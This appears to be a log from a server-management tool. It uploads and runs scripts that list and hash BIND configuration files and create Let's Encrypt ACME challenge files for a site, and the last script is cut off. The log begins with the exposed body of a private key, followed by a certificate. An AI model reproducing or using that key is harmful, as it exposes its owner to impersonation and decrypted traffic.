FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 10:37:38: Establishing a connection
2026-05-24 10:37:38: 

PUT: /tmp/pkp626506

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:37:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp626506; rm /tmp/pkp626506'

2026-05-24 10:37:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:37:58: Establishing a connection
2026-05-24 10:37:58: Establishing a connection
2026-05-24 10:37:59: 

PUT: /tmp/pkp144597

#!/bin/bash
if [ -d "/var/www/patientappsinc_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 10:37:59: 

chmod 755 /tmp/pkp144597; /tmp/pkp144597; rm /tmp/pkp144597

2026-05-24 10:37:59: 


1


2026-05-24 10:38:00: Establishing a connection
2026-05-24 10:38:00: 

PUT: /tmp/pkp250288

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cat > tcQ1alernY_zCsVktWrAjgxkjBrESrCxnzRslsH82mU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tcQ1alernY_zCsVktWrAjgxkjBrESrCxnzRslsH82mU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tcQ1alernY_zCsVktWrAjgxkjBrESrCxnzRslsH82mU


2026-05-24 10:38:00: 

chmod 755 /tmp/pkp250288; /tmp/pkp250288; rm /tmp/pkp250288

2026-05-24 10:38:00: 




2026-05-24 10:39:42: Establishing a connection
2026-05-24 10:39:42: Establishing a connection
2026-05-24 10:39:42: 

PUT: /tmp/pkp810758

#!/bin/bash
if [ -d "/var/www/patientappsinc_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 10:39:43: 

chmod 755 /tmp/pkp810758; /tmp/pkp810758; rm /tmp/pkp810758

2026-05-24 10:39:43: 


1


2026-05-24 10:39:44: Establishing a connection
2026-05-24 10:39:44: 

PUT: /tmp/pkp411211

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cat > lgyGWhEINZnZvzUmUGnLffWy4nL0rAqe1OCe_cZ5Hrc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lgyGWhEINZnZvzUmUGnLffWy4nL0rAqe1OCe_cZ5Hrc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lgyGWhEINZnZvzUmUGnLffWy4nL0rAqe1OCe_cZ5Hrc


2026-05-24 10:39:44: 

chmod 755 /tmp/pkp411211; /tmp/pkp411211; rm /tmp/pkp411211

2026-05-24 10:39:44: 




2026-05-24 10:39:53: Establishing a connection
2026-05-24 10:39:53: 

PUT: /tmp/pkp101225

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
